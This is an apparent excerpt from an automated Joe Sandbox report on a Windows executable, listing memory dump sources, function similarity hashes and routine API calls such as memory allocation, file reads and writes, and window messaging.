          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AddressHandleModuleProc
          • String ID: IsProcessorFeaturePresent$KERNEL32
          • API String ID: 1646373207-3105848591
          • Opcode ID: c84186f1245abd90f5ba5c864e866e25f8e31ea94969119108392134ad357154
          • Instruction ID: 25014bfea4c5a899c1bcae982207aba7be4c147819c657720c43b239c2463fb6
          • Opcode Fuzzy Hash: c84186f1245abd90f5ba5c864e866e25f8e31ea94969119108392134ad357154
          • Instruction Fuzzy Hash: 89C0122478660165ED103B710C0DB5A34482B15B42F1008527703D0A95DA58C000533D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: b017cd963b3de5825d0be604bb57f7a3d54bfc6dab595b8ab123460ae532bd3f
          • Instruction ID: 7d2e5bdcda6b3ee4b8bd3ef5e213da5eabe0c108143b0ef28871f0f7ea4d2bbb
          • Opcode Fuzzy Hash: b017cd963b3de5825d0be604bb57f7a3d54bfc6dab595b8ab123460ae532bd3f
          • Instruction Fuzzy Hash: 6F9114B2D01514BACF21BF699C419DEBBB4EB04B65F24092BF810B6291D7398E40DB6D
          APIs
          • HeapAlloc.KERNEL32(00000000,00002020,004CCC90,004CCC90,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000), ref: 0048A12D
          • VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000), ref: 0048A151
          • VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000), ref: 0048A16B
          • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000,?), ref: 0048A22C
          • HeapFree.KERNEL32(00000000,00000000,?,?,0048A5D8,00000000,00000010,00000000,00000009,00000009,?,00482191,00000010,00000000,?,00000000), ref: 0048A243
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AllocVirtual$FreeHeap
          • String ID:
          • API String ID: 714016831-0
          • Opcode ID: ab608163c8d3d4bd031d1372d786d6248cfa981ba8d35ba66f91aebb10f93c6d
          • Instruction ID: 4da26def1b58108178be0ade1e2cff33e586c63ba85bec61ae36fa217a16aaea
          • Opcode Fuzzy Hash: ab608163c8d3d4bd031d1372d786d6248cfa981ba8d35ba66f91aebb10f93c6d
          • Instruction Fuzzy Hash: EE3110716007029BE330EF28EC85B2ABAE0F744754F10493BE55D977A0EBB8A811874E
          APIs
          • midiStreamOpen.WINMM(004DB190,004DB1B8,00000001,0042DDD0,004DB174,00030000,00000000,004DB174,?,00000000), ref: 0042D7CB
          • midiStreamProperty.WINMM ref: 0042D8B2
          • midiOutPrepareHeader.WINMM(00000000,00000000,00000040,00000001,00000000,00000000,004DB174,?,00000000), ref: 0042DA00
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: midi$Stream$HeaderOpenPrepareProperty
          • String ID:
          • API String ID: 2061886437-0
          • Opcode ID: 0bf18da19b7d12e71995cc9eacaa8796555cd31e4a704892b9ae607f4e26f909
          • Instruction ID: 5dd68c3f687595418052329bc1c91ea4f2d16f186a7bf83fd9d0bfa679e5c3a6
          • Opcode Fuzzy Hash: 0bf18da19b7d12e71995cc9eacaa8796555cd31e4a704892b9ae607f4e26f909
          • Instruction Fuzzy Hash: 07A167716006158FD724DF29D890BAAB7E6FB84304F50492EE696C7750EB35F919CB40
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 97db8ef5504f782888a7369ff59a054b9c7999deada841b4fa2ccf8df22e1ef9
          • Instruction ID: eb0b240bc27673cefceee42fa007a42c690d2198aebb9ca3a1f1310429c0e255
          • Opcode Fuzzy Hash: 97db8ef5504f782888a7369ff59a054b9c7999deada841b4fa2ccf8df22e1ef9
          • Instruction Fuzzy Hash: C2518FB25083519FC710DF6AD88196BFBE8BB89714F444E2EF5A583240DB38D808CB56
          APIs
          • ReadFile.KERNEL32(000001D0,000001D0,00000000,000001D0,00000000,00000000,00000000,00000000), ref: 0048BC3A
          • GetLastError.KERNEL32 ref: 0048BC44
          • ReadFile.KERNEL32(?,?,00000001,000001D0,00000000), ref: 0048BD0A
          • GetLastError.KERNEL32 ref: 0048BD14
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ErrorFileLastRead
          • String ID:
          • API String ID: 1948546556-0
          • Opcode ID: 103569a80dd1ee79c905a38ad93778757ab6a1c270bca0a2f348ba41318383f5
          • Instruction ID: 356d3566b7ce5c9db7740007cd8a41d7b08f3abce633a4c814dd97034bbbb27e
          • Opcode Fuzzy Hash: 103569a80dd1ee79c905a38ad93778757ab6a1c270bca0a2f348ba41318383f5
          • Instruction Fuzzy Hash: 0651B434504389EFDF21AF58C8807AE7BF0EF16304F14489BE8558B362D7789945CB99
          APIs
          • GetClientRect.USER32(?,?), ref: 0042B8C2
          • PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 0042B91A
          • __ftol.LIBCMT ref: 0042BA05
          • __ftol.LIBCMT ref: 0042BA12
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
            • Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: ObjectSelect__ftol$ClientRect
          • String ID:
          • API String ID: 2514210182-0
          • Opcode ID: 54f1c648df8b860520aa66ca4d3156d05e72ad6944ca7110b21ceef419769059
          • Instruction ID: 63dcbb06b7cd2e97b286b7ae62033ba21c939e0dcc35fc4567cee1fdbffa9147
          • Opcode Fuzzy Hash: 54f1c648df8b860520aa66ca4d3156d05e72ad6944ca7110b21ceef419769059
          • Instruction Fuzzy Hash: AD51BDB1B083028FC714DE29D98096BBBE5FBC8340F548A2EF99993251D734DD498B96
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: DeleteObject$Release
          • String ID:
          • API String ID: 2600533906-0
          • Opcode ID: 2d46d07d10ea4971aa8675457e3a869eb1d883ff2f6aa3ca73c9ea649a426d20
          • Instruction ID: af18c1f4c48a769ea1362e8abd7fdafc25eb5dee4c4fb8589642d8129497c80a
          • Opcode Fuzzy Hash: 2d46d07d10ea4971aa8675457e3a869eb1d883ff2f6aa3ca73c9ea649a426d20
          • Instruction Fuzzy Hash: 66516DB1A042449FDF14DF28C890B9A7BE5BB58300F08857AEC4DCF356EB789949CB65
          APIs
          • IsWindow.USER32(00000000), ref: 00419094
          • GetParent.USER32(00000000), ref: 004190E4
          • IsWindow.USER32(?), ref: 00419104
          • SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000013), ref: 0041917F
            • Part of subcall function 0049612F: ShowWindow.USER32(?,?,0041710C,00000000), ref: 0049613D
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$ParentShow
          • String ID:
          • API String ID: 2052805569-0
          • Opcode ID: 4620057dc58f59b418595477250b7755926c2a6ebfdbed247eb3e3eac47f86d0
          • Instruction ID: 96a1ac7b0dd44c176fa04e4c2b4a1de3d031c5d55c9e52dd11c87157306f584d
          • Opcode Fuzzy Hash: 4620057dc58f59b418595477250b7755926c2a6ebfdbed247eb3e3eac47f86d0
          • Instruction Fuzzy Hash: 5D41AD757003026BE720DE618C95BEBB3E8AB84754F04453EFE049B381D778EC8587A9
          APIs
            • Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160
          • IsWindowVisible.USER32(?), ref: 0040C64A
            • Part of subcall function 00494123: GetWindowTextLengthA.USER32(?), ref: 00494130
            • Part of subcall function 00494123: GetWindowTextA.USER32(?,00000000,00000000), ref: 00494148
            • Part of subcall function 00490977: SendMessageA.USER32(?,00000466,00000000,00000000), ref: 00490983
          • wsprintfA.USER32 ref: 0040C6E4
          • SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 0040C710
          • SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040C71F
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$MessageSend$Text$EnabledLengthVisiblewsprintf
          • String ID:
          • API String ID: 1914814478-0
          • Opcode ID: 99a84f84c104c7b83570eb0c19fb71c78cd3441ad89f019082d53c2996cf92c2
          • Instruction ID: fedcf000d5d1d1434110b21820dbb9ce237f28e75de3b2d0dfc31468972a04a5
          • Opcode Fuzzy Hash: 99a84f84c104c7b83570eb0c19fb71c78cd3441ad89f019082d53c2996cf92c2
          • Instruction Fuzzy Hash: EA5186756047019FC724DF14C981B5BB7F1FB88710F108A2EE49A87780CB79A801CB96
          APIs
          • WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,?), ref: 0048BA97
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: FileWrite
          • String ID:
          • API String ID: 3934441357-0
          • Opcode ID: e60ab17d4eed0e93ac92ae81c5c3c4dad4f9b8907c12df4a3a2f9d59e0854bd5
          • Instruction ID: 50dfaaef641eff29ce36418240c4e514e9e9f6932505f35d692b7b7a20bab077
          • Opcode Fuzzy Hash: e60ab17d4eed0e93ac92ae81c5c3c4dad4f9b8907c12df4a3a2f9d59e0854bd5
          • Instruction Fuzzy Hash: E551B131900248EFCB15EF68C984B9E7BB4FF41340F1089AAE915DB261D734EA40CB99
          APIs
          • IsWindow.USER32(?), ref: 004377D4
          • SendMessageA.USER32(?,000000B1,?,000000FF), ref: 0043782D
          • SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0043783C
          • SendMessageA.USER32(?,000000C2,00000000,?), ref: 0043786A
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: MessageSend$Window
          • String ID:
          • API String ID: 2326795674-0
          • Opcode ID: 0859e1400648d10e364f8fc9f8cca885aaa46488b7c807c83505593e87925c02
          • Instruction ID: d3e798c1937d3b56c1102694fa41768b9d784a111bb589ceca0d1d0e476afb89
          • Opcode Fuzzy Hash: 0859e1400648d10e364f8fc9f8cca885aaa46488b7c807c83505593e87925c02
          • Instruction Fuzzy Hash: 7241E3B66487419FE324DB19C844B5BFBE4EB89720F048A2EE4A5873D1C378D405CBA6
          APIs
            • Part of subcall function 00488384: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883C1
            • Part of subcall function 00488384: EnterCriticalSection.KERNEL32(?,?,?,00482FFC,00000009,00000000,00000000,00000001,00485B0B,00000001,00000074,?,?,00000000,00000001), ref: 004883DC
          • InitializeCriticalSection.KERNEL32(00000068,00000100,00000080,?,00000000,?,?,0048EACA,?,00000000,00000000), ref: 0048E6BF
          • EnterCriticalSection.KERNEL32(00000068,00000100,00000080,?,00000000,?,?,0048EACA,?,00000000,00000000), ref: 0048E6D4
          • LeaveCriticalSection.KERNEL32(00000068,?,00000000,?,?,0048EACA,?,00000000,00000000), ref: 0048E6E1
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
